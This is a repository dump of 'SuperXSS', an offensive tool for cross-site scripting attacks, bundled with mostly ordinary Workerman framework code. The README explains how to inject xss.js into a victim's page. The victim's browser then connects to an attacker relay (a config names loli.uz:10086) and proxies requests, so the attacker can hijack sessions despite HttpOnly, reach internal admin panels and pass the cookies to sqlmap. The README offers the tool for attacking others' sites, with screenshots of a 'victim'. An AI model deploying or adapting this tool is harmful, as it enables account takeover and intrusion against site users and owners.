├── SuperXSS-Front
├── test.php
├── poi.jpg
├── avatar.jpg
├── index.html
└── xss.js
├── SuperXSS
├── Workerman
│ ├── .gitignore
│ ├── Lib
│ │ ├── Constants.php
│ │ └── Timer.php
│ ├── composer.json
│ ├── MIT-LICENSE.txt
│ ├── Protocols
│ │ ├── Frame.php
│ │ ├── ProtocolInterface.php
│ │ ├── Text.php
│ │ ├── Http
│ │ │ └── mime.types
│ │ ├── Ws.php
│ │ └── Websocket.php
│ ├── Autoloader.php
│ ├── Events
│ │ ├── EventInterface.php
│ │ ├── React
│ │ │ ├── ExtEventLoop.php
│ │ │ ├── LibEventLoop.php
│ │ │ └── StreamSelectLoop.php
│ │ ├── Ev.php
│ │ ├── Event.php
│ │ ├── Libevent.php
│ │ ├── Swoole.php
│ │ └── Select.php
│ ├── Connection
│ │ ├── ConnectionInterface.php
│ │ ├── UdpConnection.php
│ │ ├── AsyncUdpConnection.php
│ │ └── AsyncTcpConnection.php
│ ├── WebServer.php
│ └── README.md
├── Function.php
├── Config.php
├── GlobalData
│ ├── Server.php
│ └── Client.php
└── SuperXSS.php
├── README.md
└── LICENSE
/SuperXSS-Front/test.php:
--------------------------------------------------------------------------------
1 | "http://loli.uz:10086",
4 | "HIJACK_CONSOLE_LISTEN" => "http://0.0.0.0:10086",
5 | "WS_LISTEN" => "websocket://0.0.0.0:10010",
6 | "CLIENT_TIMED_OUT" => 10,
7 | "CONSOLE_WORKER_COUNT" => 2,
8 | "WS_WORKER_COUNT" => 2,
9 | "DOMAIN_AUTO_REPLACE" => true,
10 | "IGNORE_SUFFIX" => "jpg,jpeg,png,bmp,css,js"
11 | );
12 |
--------------------------------------------------------------------------------
/SuperXSS-Front/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | SuperXSS
9 |
10 |
11 |
12 | Test Poi de~su!
13 |
14 |
15 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SuperXSS
2 | ## Make XSS Great Again
3 | > * 当X别人站的时候,遇到Httponly flag时,被x到的站位于内网无法直接访问时,你要做的是:
4 | > * 换下一个站 X
5 | > * 用SuperXSS √
6 |
7 | SuperXSS是一个基于Websocket的客户端网页代理程序,客户端JS被注入之后会创建到指定服务端的Websocket连接并接收命令进行XHR请求,从而使得无法直接访问的后台等可以通过客户端浏览器本身作为代理访问。
8 | 程序本身分为两部分,前端JS部分感谢@[https://github.com/Archeb](Archeb),后端本人使用Workerman瞎写的代码。
9 | 程序本身并不稳定,不过至少能够操作一下后台。
10 |
11 | ### 使用
12 | 更改服务端Config.php中REPLACE_ADDR为中转服务端的HTTP(S)访问地址,HIJACK_CONSOLE_LISTEN和WS_LISTEN分别改为劫持控制台的监听地址和Websocket的监听地址,如需要WSS可以配合Nginx做反代使用。
13 | 更改xss.js中最后一行的地址为中转服务端Websocket的监听地址
14 | 将xss.js插入到页面中
15 | 访问劫持控制台,此时应该能看到劫持会话选项。
16 | 劫持会话之后,你应该能直接操作或者直接更改URL来访问其他同域名地址,或者带着Cookie直接扔进sqlmap等工具。
17 |
18 | ### DEMO
19 | 插入到目标页面之中
20 | ![受害者.jpg][1]
21 | 访问劫持控制台
22 | ![说了我不会前端.jpg][2]
23 | 劫持会话,完 全 一 致
24 | ![大 胜 利][3]
25 | 同时可以访问同域下的其他内容
26 | ![24岁,是学生][4]
27 |
28 |
29 | [1]: https://static.moe.do/Uploads/image/20190407/1.png
30 | [2]: https://static.moe.do/Uploads/image/20190407/2.png
31 | [3]: https://static.moe.do/Uploads/image/20190407/3.png
32 | [4]: https://static.moe.do/Uploads/image/20190407/4.png
33 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2018 羽川早苗
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/SuperXSS/Workerman/Lib/Constants.php:
--------------------------------------------------------------------------------
1 |
10 | * @copyright walkor
11 | * @link http://www.workerman.net/
12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License
13 | */
14 |
15 | // Date.timezone
16 | if (!ini_get('date.timezone')) {
17 | date_default_timezone_set('Asia/Shanghai');
18 | }
19 | // Display errors.
20 | ini_set('display_errors', 'on');
21 | // Reporting all.
22 | error_reporting(E_ALL);
23 |
24 | // Reset opcache.
25 | if (function_exists('opcache_reset')) {
26 | opcache_reset();
27 | }
28 |
29 | // For onError callback.
30 | define('WORKERMAN_CONNECT_FAIL', 1);
31 | // For onError callback.
32 | define('WORKERMAN_SEND_FAIL', 2);
33 |
34 | // Compatible with php7
35 | if(!class_exists('Error'))
36 | {
37 | class Error extends Exception
38 | {
39 | }
40 | }
41 |
--------------------------------------------------------------------------------
/SuperXSS/Workerman/composer.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "workerman/workerman",
3 | "type": "library",
4 | "keywords": [
5 | "event-loop",
6 | "asynchronous"
7 | ],
8 | "homepage": "http://www.workerman.net",
9 | "license": "MIT",
10 | "description": "An asynchronous event driven PHP framework for easily building fast, scalable network applications.",
11 | "authors": [
12 | {
13 | "name": "walkor",
14 | "email": "walkor@workerman.net",
15 | "homepage": "http://www.workerman.net",
16 | "role": "Developer"
17 | }
18 | ],
19 | "support": {
20 | "email": "walkor@workerman.net",
21 | "issues": "https://github.com/walkor/workerman/issues",
22 | "forum": "http://wenda.workerman.net/",
23 | "wiki": "http://doc3.workerman.net/index.html",
24 | "source": "https://github.com/walkor/workerman"
25 | },
26 | "require": {
27 | "php": ">=5.3"
28 | },
29 | "suggest": {
30 | "ext-event": "For better performance. "
31 | },
32 | "autoload": {
33 | "psr-4": {
34 | "Workerman\\": "./"
35 | }
36 | },
37 | "minimum-stability": "dev"
38 | }
39 |
--------------------------------------------------------------------------------
/SuperXSS/Workerman/MIT-LICENSE.txt:
--------------------------------------------------------------------------------
1 | The MIT License
2 |
3 | Copyright (c) 2009-2015 walkor and contributors (see https://github.com/walkor/workerman/contributors)
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in
13 | all copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | THE SOFTWARE.
22 |
--------------------------------------------------------------------------------
/SuperXSS/Workerman/Protocols/Frame.php:
--------------------------------------------------------------------------------
1 |
10 | * @copyright walkor
11 | * @link http://www.workerman.net/
12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License
13 | */
14 | namespace Workerman\Protocols;
15 |
16 | use Workerman\Connection\TcpConnection;
17 |
18 | /**
19 | * Frame Protocol.
20 | */
21 | class Frame
22 | {
23 | /**
24 | * Check the integrity of the package.
25 | *
26 | * @param string $buffer
27 | * @param TcpConnection $connection
28 | * @return int
29 | */
30 | public static function input($buffer, TcpConnection $connection)
31 | {
32 | if (strlen($buffer) < 4) {
33 | return 0;
34 | }
35 | $unpack_data = unpack('Ntotal_length', $buffer);
36 | return $unpack_data['total_length'];
37 | }
38 |
39 | /**
40 | * Decode.
41 | *
42 | * @param string $buffer
43 | * @return string
44 | */
45 | public static function decode($buffer)
46 | {
47 | return substr($buffer, 4);
48 | }
49 |
50 | /**
51 | * Encode.
52 | *
53 | * @param string $buffer
54 | * @return string
55 | */
56 | public static function encode($buffer)
57 | {
58 | $total_length = 4 + strlen($buffer);
59 | return pack('N', $total_length) . $buffer;
60 | }
61 | }
62 |
--------------------------------------------------------------------------------
/SuperXSS/Workerman/Protocols/ProtocolInterface.php:
--------------------------------------------------------------------------------
1 |
10 | * @copyright walkor
11 | * @link http://www.workerman.net/
12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License
13 | */
14 | namespace Workerman\Protocols;
15 |
16 | use Workerman\Connection\ConnectionInterface;
17 |
18 | /**
19 | * Protocol interface
20 | */
21 | interface ProtocolInterface
22 | {
23 | /**
24 | * Check the integrity of the package.
25 | * Please return the length of package.
26 | * If length is unknow please return 0 that mean wating more data.
27 | * If the package has something wrong please return false the connection will be closed.
28 | *
29 | * @param ConnectionInterface $connection
30 | * @param string $recv_buffer
31 | * @return int|false
32 | */
33 | public static function input($recv_buffer, ConnectionInterface $connection);
34 |
35 | /**
36 | * Decode package and emit onMessage($message) callback, $message is the result that decode returned.
37 | *
38 | * @param ConnectionInterface $connection
39 | * @param string $recv_buffer
40 | * @return mixed
41 | */
42 | public static function decode($recv_buffer, ConnectionInterface $connection);
43 |
44 | /**
45 | * Encode package brefore sending to client.
46 | *
47 | * @param ConnectionInterface $connection
48 | * @param mixed $data
49 | * @return string
50 | */
51 | public static function encode($data, ConnectionInterface $connection);
52 | }
53 |
--------------------------------------------------------------------------------
/SuperXSS/Workerman/Protocols/Text.php:
--------------------------------------------------------------------------------
1 |
10 | * @copyright walkor
11 | * @link http://www.workerman.net/
12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License
13 | */
14 | namespace Workerman\Protocols;
15 |
16 | use Workerman\Connection\TcpConnection;
17 |
18 | /**
19 | * Text Protocol.
20 | */
21 | class Text
22 | {
23 | /**
24 | * Check the integrity of the package.
25 | *
26 | * @param string $buffer
27 | * @param TcpConnection $connection
28 | * @return int
29 | */
30 | public static function input($buffer, TcpConnection $connection)
31 | {
32 | // Judge whether the package length exceeds the limit.
33 | if (strlen($buffer) >= TcpConnection::$maxPackageSize) {
34 | $connection->close();
35 | return 0;
36 | }
37 | // Find the position of "\n".
38 | $pos = strpos($buffer, "\n");
39 | // No "\n", packet length is unknown, continue to wait for the data so return 0.
40 | if ($pos === false) {
41 | return 0;
42 | }
43 | // Return the current package length.
44 | return $pos + 1;
45 | }
46 |
47 | /**
48 | * Encode.
49 | *
50 | * @param string $buffer
51 | * @return string
52 | */
53 | public static function encode($buffer)
54 | {
55 | // Add "\n"
56 | return $buffer . "\n";
57 | }
58 |
59 | /**
60 | * Decode.
61 | *
62 | * @param string $buffer
63 | * @return string
64 | */
65 | public static function decode($buffer)
66 | {
67 | // Remove "\n"
68 | return trim($buffer);
69 | }
70 | }
71 |
--------------------------------------------------------------------------------
/SuperXSS/Workerman/Autoloader.php:
--------------------------------------------------------------------------------
1 |
10 | * @copyright walkor
11 | * @link http://www.workerman.net/
12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License
13 | */
14 | namespace Workerman;
15 |
16 | /**
17 | * Autoload.
18 | */
19 | class Autoloader
20 | {
21 | /**
22 | * Autoload root path.
23 | *
24 | * @var string
25 | */
26 | protected static $_autoloadRootPath = '';
27 |
28 | /**
29 | * Set autoload root path.
30 | *
31 | * @param string $root_path
32 | * @return void
33 | */
34 | public static function setRootPath($root_path)
35 | {
36 | self::$_autoloadRootPath = $root_path;
37 | }
38 |
39 | /**
40 | * Load files by namespace.
41 | *
42 | * @param string $name
43 | * @return boolean
44 | */
45 | public static function loadByNamespace($name)
46 | {
47 | $class_path = str_replace('\\', DIRECTORY_SEPARATOR, $name);
48 | if (strpos($name, 'Workerman\\') === 0) {
49 | $class_file = __DIR__ . substr($class_path, strlen('Workerman')) . '.php';
50 | } else {
51 | if (self::$_autoloadRootPath) {
52 | $class_file = self::$_autoloadRootPath . DIRECTORY_SEPARATOR . $class_path . '.php';
53 | }
54 | if (empty($class_file) || !is_file($class_file)) {
55 | $class_file = __DIR__ . DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR . "$class_path.php";
56 | }
57 | }
58 |
59 | if (is_file($class_file)) {
60 | require_once($class_file);
61 | if (class_exists($name, false)) {
62 | return true;
63 | }
64 | }
65 | return false;
66 | }
67 | }
68 |
69 | spl_autoload_register('\Workerman\Autoloader::loadByNamespace');
--------------------------------------------------------------------------------
/SuperXSS/Workerman/Events/EventInterface.php:
--------------------------------------------------------------------------------
1 |
10 | * @copyright walkor
11 | * @link http://www.workerman.net/
12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License
13 | */
14 | namespace Workerman\Events;
15 |
16 | interface EventInterface
17 | {
18 | /**
19 | * Read event.
20 | *
21 | * @var int
22 | */
23 | const EV_READ = 1;
24 |
25 | /**
26 | * Write event.
27 | *
28 | * @var int
29 | */
30 | const EV_WRITE = 2;
31 |
32 | /**
33 | * Except event
34 | *
35 | * @var int
36 | */
37 | const EV_EXCEPT = 3;
38 |
39 | /**
40 | * Signal event.
41 | *
42 | * @var int
43 | */
44 | const EV_SIGNAL = 4;
45 |
46 | /**
47 | * Timer event.
48 | *
49 | * @var int
50 | */
51 | const EV_TIMER = 8;
52 |
53 | /**
54 | * Timer once event.
55 | *
56 | * @var int
57 | */
58 | const EV_TIMER_ONCE = 16;
59 |
60 | /**
61 | * Add event listener to event loop.
62 | *
63 | * @param mixed $fd
64 | * @param int $flag
65 | * @param callable $func
66 | * @param mixed $args
67 | * @return bool
68 | */
69 | public function add($fd, $flag, $func, $args = null);
70 |
71 | /**
72 | * Remove event listener from event loop.
73 | *
74 | * @param mixed $fd
75 | * @param int $flag
76 | * @return bool
77 | */
78 | public function del($fd, $flag);
79 |
80 | /**
81 | * Remove all timers.
82 | *
83 | * @return void
84 | */
85 | public function clearAllTimer();
86 |
87 | /**
88 | * Main loop.
89 | *
90 | * @return void
91 | */
92 | public function loop();
93 |
94 | /**
95 | * Destroy loop.
96 | *
97 | * @return mixed
98 | */
99 | public function destroy();
100 |
101 | /**
102 | * Get Timer count.
103 | *
104 | * @return mixed
105 | */
106 | public function getTimerCount();
107 | }
108 |
--------------------------------------------------------------------------------
/SuperXSS/Workerman/Connection/ConnectionInterface.php:
--------------------------------------------------------------------------------
1 |
10 | * @copyright walkor
11 | * @link http://www.workerman.net/
12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License
13 | */
14 | namespace Workerman\Connection;
15 |
16 | /**
17 | * ConnectionInterface.
18 | */
19 | abstract class ConnectionInterface
20 | {
21 | /**
22 | * Statistics for status command.
23 | *
24 | * @var array
25 | */
26 | public static $statistics = array(
27 | 'connection_count' => 0,
28 | 'total_request' => 0,
29 | 'throw_exception' => 0,
30 | 'send_fail' => 0,
31 | );
32 |
33 | /**
34 | * Emitted when data is received.
35 | *
36 | * @var callback
37 | */
38 | public $onMessage = null;
39 |
40 | /**
41 | * Emitted when the other end of the socket sends a FIN packet.
42 | *
43 | * @var callback
44 | */
45 | public $onClose = null;
46 |
47 | /**
48 | * Emitted when an error occurs with connection.
49 | *
50 | * @var callback
51 | */
52 | public $onError = null;
53 |
54 | /**
55 | * Sends data on the connection.
56 | *
57 | * @param string $send_buffer
58 | * @return void|boolean
59 | */
60 | abstract public function send($send_buffer);
61 |
62 | /**
63 | * Get remote IP.
64 | *
65 | * @return string
66 | */
67 | abstract public function getRemoteIp();
68 |
69 | /**
70 | * Get remote port.
71 | *
72 | * @return int
73 | */
74 | abstract public function getRemotePort();
75 |
76 | /**
77 | * Get remote address.
78 | *
79 | * @return string
80 | */
81 | abstract public function getRemoteAddress();
82 |
83 | /**
84 | * Get local IP.
85 | *
86 | * @return string
87 | */
88 | abstract public function getLocalIp();
89 |
90 | /**
91 | * Get local port.
92 | *
93 | * @return int
94 | */
95 | abstract public function getLocalPort();
96 |
97 | /**
98 | * Get local address.
99 | *
100 | * @return string
101 | */
102 | abstract public function getLocalAddress();
103 |
104 | /**
105 | * Is ipv4.
106 | *
107 | * @return bool
108 | */
109 | abstract public function isIPv4();
110 |
111 | /**
112 | * Is ipv6.
113 | *
114 | * @return bool
115 | */
116 | abstract public function isIPv6();
117 |
118 | /**
119 | * Close connection.
120 | *
121 | * @param $data
122 | * @return void
123 | */
124 | abstract public function close($data = null);
125 | }
126 |
--------------------------------------------------------------------------------
/SuperXSS/GlobalData/Server.php:
--------------------------------------------------------------------------------
1 | count = 1;
31 | $worker->name = 'globalDataServer';
32 | $worker->onMessage = array($this, 'onMessage');
33 | $worker->reloadable = false;
34 | $this->_worker = $worker;
35 | }
36 |
37 | /**
38 | * onMessage.
39 | * @param TcpConnection $connection
40 | * @param string $buffer
41 | */
42 | public function onMessage($connection, $buffer)
43 | {
44 | if($buffer === 'ping')
45 | {
46 | return;
47 | }
48 | $data = unserialize($buffer);
49 | if(!$buffer || !isset($data['cmd']) || !isset($data['key']))
50 | {
51 | return $connection->close(serialize('bad request'));
52 | }
53 | $cmd = $data['cmd'];
54 | $key = $data['key'];
55 | switch($cmd)
56 | {
57 | case 'get':
58 | if(!isset($this->_dataArray[$key]))
59 | {
60 | return $connection->send('N;');
61 | }
62 | return $connection->send(serialize($this->_dataArray[$key]));
63 | break;
64 | case 'set':
65 | $this->_dataArray[$key] = $data['value'];
66 | $connection->send('b:1;');
67 | break;
68 | case 'add':
69 | if(isset($this->_dataArray[$key]))
70 | {
71 | return $connection->send('b:0;');
72 | }
73 | $this->_dataArray[$key] = $data['value'];
74 | return $connection->send('b:1;');
75 | break;
76 | case 'increment':
77 | if(!isset($this->_dataArray[$key]))
78 | {
79 | return $connection->send('b:0;');
80 | }
81 | if(!is_numeric($this->_dataArray[$key]))
82 | {
83 | $this->_dataArray[$key] = 0;
84 | }
85 | $this->_dataArray[$key] = $this->_dataArray[$key]+$data['step'];
86 | return $connection->send(serialize($this->_dataArray[$key]));
87 | break;
88 | case 'cas':
89 | if(isset($this->_dataArray[$key]) && md5(serialize($this->_dataArray[$key])) === $data['md5'])
90 | {
91 | $this->_dataArray[$key] = $data['value'];
92 | return $connection->send('b:1;');
93 | }
94 | $connection->send('b:0;');
95 | break;
96 | case 'delete':
97 | unset($this->_dataArray[$key]);
98 | $connection->send('b:1;');
99 | break;
100 | default:
101 | $connection->close(serialize('bad cmd '. $cmd));
102 | }
103 | }
104 | }
105 |
106 |
107 |
--------------------------------------------------------------------------------
/SuperXSS/Workerman/Protocols/Http/mime.types:
--------------------------------------------------------------------------------
1 |
2 | types {
3 | text/html html htm shtml;
4 | text/css css;
5 | text/xml xml;
6 | image/gif gif;
7 | image/jpeg jpeg jpg;
8 | application/x-javascript js;
9 | application/atom+xml atom;
10 | application/rss+xml rss;
11 |
12 | text/mathml mml;
13 | text/plain txt;
14 | text/vnd.sun.j2me.app-descriptor jad;
15 | text/vnd.wap.wml wml;
16 | text/x-component htc;
17 |
18 | image/png png;
19 | image/tiff tif tiff;
20 | image/vnd.wap.wbmp wbmp;
21 | image/x-icon ico;
22 | image/x-jng jng;
23 | image/x-ms-bmp bmp;
24 | image/svg+xml svg svgz;
25 | image/webp webp;
26 |
27 | application/java-archive jar war ear;
28 | application/mac-binhex40 hqx;
29 | application/msword doc;
30 | application/pdf pdf;
31 | application/postscript ps eps ai;
32 | application/rtf rtf;
33 | application/vnd.ms-excel xls;
34 | application/vnd.ms-powerpoint ppt;
35 | application/vnd.wap.wmlc wmlc;
36 | application/vnd.google-earth.kml+xml kml;
37 | application/vnd.google-earth.kmz kmz;
38 | application/x-7z-compressed 7z;
39 | application/x-cocoa cco;
40 | application/x-java-archive-diff jardiff;
41 | application/x-java-jnlp-file jnlp;
42 | application/x-makeself run;
43 | application/x-perl pl pm;
44 | application/x-pilot prc pdb;
45 | application/x-rar-compressed rar;
46 | application/x-redhat-package-manager rpm;
47 | application/x-sea sea;
48 | application/x-shockwave-flash swf;
49 | application/x-stuffit sit;
50 | application/x-tcl tcl tk;
51 | application/x-x509-ca-cert der pem crt;
52 | application/x-xpinstall xpi;
53 | application/xhtml+xml xhtml;
54 | application/zip zip;
55 |
56 | application/octet-stream bin exe dll;
57 | application/octet-stream deb;
58 | application/octet-stream dmg;
59 | application/octet-stream eot;
60 | application/octet-stream iso img;
61 | application/octet-stream msi msp msm;
62 |
63 | audio/midi mid midi kar;
64 | audio/mpeg mp3;
65 | audio/ogg ogg;
66 | audio/x-m4a m4a;
67 | audio/x-realaudio ra;
68 |
69 | video/3gpp 3gpp 3gp;
70 | video/mp4 mp4;
71 | video/mpeg mpeg mpg;
72 | video/quicktime mov;
73 | video/webm webm;
74 | video/x-flv flv;
75 | video/x-m4v m4v;
76 | video/x-mng mng;
77 | video/x-ms-asf asx asf;
78 | video/x-ms-wmv wmv;
79 | video/x-msvideo avi;
80 | }
81 |
--------------------------------------------------------------------------------
/SuperXSS/Workerman/Connection/UdpConnection.php:
--------------------------------------------------------------------------------
1 |
10 | * @copyright walkor
11 | * @link http://www.workerman.net/
12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License
13 | */
14 | namespace Workerman\Connection;
15 |
16 | /**
17 | * UdpConnection.
18 | */
19 | class UdpConnection extends ConnectionInterface
20 | {
21 | /**
22 | * Application layer protocol.
23 | * The format is like this Workerman\\Protocols\\Http.
24 | *
25 | * @var \Workerman\Protocols\ProtocolInterface
26 | */
27 | public $protocol = null;
28 |
29 | /**
30 | * Udp socket.
31 | *
32 | * @var resource
33 | */
34 | protected $_socket = null;
35 |
36 | /**
37 | * Remote address.
38 | *
39 | * @var string
40 | */
41 | protected $_remoteAddress = '';
42 |
43 | /**
44 | * Construct.
45 | *
46 | * @param resource $socket
47 | * @param string $remote_address
48 | */
49 | public function __construct($socket, $remote_address)
50 | {
51 | $this->_socket = $socket;
52 | $this->_remoteAddress = $remote_address;
53 | }
54 |
55 | /**
56 | * Sends data on the connection.
57 | *
58 | * @param string $send_buffer
59 | * @param bool $raw
60 | * @return void|boolean
61 | */
62 | public function send($send_buffer, $raw = false)
63 | {
64 | if (false === $raw && $this->protocol) {
65 | $parser = $this->protocol;
66 | $send_buffer = $parser::encode($send_buffer, $this);
67 | if ($send_buffer === '') {
68 | return null;
69 | }
70 | }
71 | return strlen($send_buffer) === stream_socket_sendto($this->_socket, $send_buffer, 0, $this->_remoteAddress);
72 | }
73 |
74 | /**
75 | * Get remote IP.
76 | *
77 | * @return string
78 | */
79 | public function getRemoteIp()
80 | {
81 | $pos = strrpos($this->_remoteAddress, ':');
82 | if ($pos) {
83 | return trim(substr($this->_remoteAddress, 0, $pos), '[]');
84 | }
85 | return '';
86 | }
87 |
88 | /**
89 | * Get remote port.
90 | *
91 | * @return int
92 | */
93 | public function getRemotePort()
94 | {
95 | if ($this->_remoteAddress) {
96 | return (int)substr(strrchr($this->_remoteAddress, ':'), 1);
97 | }
98 | return 0;
99 | }
100 |
101 | /**
102 | * Get remote address.
103 | *
104 | * @return string
105 | */
106 | public function getRemoteAddress()
107 | {
108 | return $this->_remoteAddress;
109 | }
110 |
111 | /**
112 | * Get local IP.
113 | *
114 | * @return string
115 | */
116 | public function getLocalIp()
117 | {
118 | $address = $this->getLocalAddress();
119 | $pos = strrpos($address, ':');
120 | if (!$pos) {
121 | return '';
122 | }
123 | return substr($address, 0, $pos);
124 | }
125 |
126 | /**
127 | * Get local port.
128 | *
129 | * @return int
130 | */
131 | public function getLocalPort()
132 | {
133 | $address = $this->getLocalAddress();
134 | $pos = strrpos($address, ':');
135 | if (!$pos) {
136 | return 0;
137 | }
138 | return (int)substr(strrchr($address, ':'), 1);
139 | }
140 |
141 | /**
142 | * Get local address.
143 | *
144 | * @return string
145 | */
146 | public function getLocalAddress()
147 | {
148 | return (string)@stream_socket_get_name($this->_socket, false);
149 | }
150 |
151 | /**
152 | * Is ipv4.
153 | *
154 | * return bool.
155 | */
156 | public function isIpV4()
157 | {
158 | if ($this->transport === 'unix') {
159 | return false;
160 | }
161 | return strpos($this->getRemoteIp(), ':') === false;
162 | }
163 |
164 | /**
165 | * Is ipv6.
166 | *
167 | * return bool.
168 | */
169 | public function isIpV6()
170 | {
171 | if ($this->transport === 'unix') {
172 | return false;
173 | }
174 | return strpos($this->getRemoteIp(), ':') !== false;
175 | }
176 |
177 | /**
178 | * Close connection.
179 | *
180 | * @param mixed $data
181 | * @param bool $raw
182 | * @return bool
183 | */
184 | public function close($data = null, $raw = false)
185 | {
186 | if ($data !== null) {
187 | $this->send($data, $raw);
188 | }
189 | return true;
190 | }
191 | }
192 |
--------------------------------------------------------------------------------
/SuperXSS/Workerman/Lib/Timer.php:
--------------------------------------------------------------------------------
1 |
10 | * @copyright walkor
11 | * @link http://www.workerman.net/
12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License
13 | */
14 | namespace Workerman\Lib;
15 |
16 | use Workerman\Events\EventInterface;
17 | use Exception;
18 |
19 | /**
20 | * Timer.
21 | *
22 | * example:
23 | * Workerman\Lib\Timer::add($time_interval, callback, array($arg1, $arg2..));
24 | */
25 | class Timer
26 | {
27 | /**
28 | * Tasks that based on ALARM signal.
29 | * [
30 | * run_time => [[$func, $args, $persistent, time_interval],[$func, $args, $persistent, time_interval],..]],
31 | * run_time => [[$func, $args, $persistent, time_interval],[$func, $args, $persistent, time_interval],..]],
32 | * ..
33 | * ]
34 | *
35 | * @var array
36 | */
37 | protected static $_tasks = array();
38 |
39 | /**
40 | * event
41 | *
42 | * @var \Workerman\Events\EventInterface
43 | */
44 | protected static $_event = null;
45 |
46 | /**
47 | * Init.
48 | *
49 | * @param \Workerman\Events\EventInterface $event
50 | * @return void
51 | */
52 | public static function init($event = null)
53 | {
54 | if ($event) {
55 | self::$_event = $event;
56 | } else {
57 | if (function_exists('pcntl_signal')) {
58 | pcntl_signal(SIGALRM, array('\Workerman\Lib\Timer', 'signalHandle'), false);
59 | }
60 | }
61 | }
62 |
63 | /**
64 | * ALARM signal handler.
65 | *
66 | * @return void
67 | */
68 | public static function signalHandle()
69 | {
70 | if (!self::$_event) {
71 | pcntl_alarm(1);
72 | self::tick();
73 | }
74 | }
75 |
76 | /**
77 | * Add a timer.
78 | *
79 | * @param float $time_interval
80 | * @param callable $func
81 | * @param mixed $args
82 | * @param bool $persistent
83 | * @return int/false
84 | */
85 | public static function add($time_interval, $func, $args = array(), $persistent = true)
86 | {
87 | if ($time_interval <= 0) {
88 | echo new Exception("bad time_interval");
89 | return false;
90 | }
91 |
92 | if (self::$_event) {
93 | return self::$_event->add($time_interval,
94 | $persistent ? EventInterface::EV_TIMER : EventInterface::EV_TIMER_ONCE, $func, $args);
95 | }
96 |
97 | if (!is_callable($func)) {
98 | echo new Exception("not callable");
99 | return false;
100 | }
101 |
102 | if (empty(self::$_tasks)) {
103 | pcntl_alarm(1);
104 | }
105 |
106 | $time_now = time();
107 | $run_time = $time_now + $time_interval;
108 | if (!isset(self::$_tasks[$run_time])) {
109 | self::$_tasks[$run_time] = array();
110 | }
111 | self::$_tasks[$run_time][] = array($func, (array)$args, $persistent, $time_interval);
112 | return 1;
113 | }
114 |
115 |
116 | /**
117 | * Tick.
118 | *
119 | * @return void
120 | */
121 | public static function tick()
122 | {
123 | if (empty(self::$_tasks)) {
124 | pcntl_alarm(0);
125 | return;
126 | }
127 |
128 | $time_now = time();
129 | foreach (self::$_tasks as $run_time => $task_data) {
130 | if ($time_now >= $run_time) {
131 | foreach ($task_data as $index => $one_task) {
132 | $task_func = $one_task[0];
133 | $task_args = $one_task[1];
134 | $persistent = $one_task[2];
135 | $time_interval = $one_task[3];
136 | try {
137 | call_user_func_array($task_func, $task_args);
138 | } catch (\Exception $e) {
139 | echo $e;
140 | }
141 | if ($persistent) {
142 | self::add($time_interval, $task_func, $task_args);
143 | }
144 | }
145 | unset(self::$_tasks[$run_time]);
146 | }
147 | }
148 | }
149 |
150 | /**
151 | * Remove a timer.
152 | *
153 | * @param mixed $timer_id
154 | * @return bool
155 | */
156 | public static function del($timer_id)
157 | {
158 | if (self::$_event) {
159 | return self::$_event->del($timer_id, EventInterface::EV_TIMER);
160 | }
161 |
162 | return false;
163 | }
164 |
165 | /**
166 | * Remove all timers.
167 | *
168 | * @return void
169 | */
170 | public static function delAll()
171 | {
172 | self::$_tasks = array();
173 | pcntl_alarm(0);
174 | if (self::$_event) {
175 | self::$_event->clearAllTimer();
176 | }
177 | }
178 | }
179 |
--------------------------------------------------------------------------------
/SuperXSS/Workerman/Events/React/ExtEventLoop.php:
--------------------------------------------------------------------------------
1 |
10 | * @copyright walkor
11 | * @link http://www.workerman.net/
12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License
13 | */
14 | namespace Workerman\Events\React;
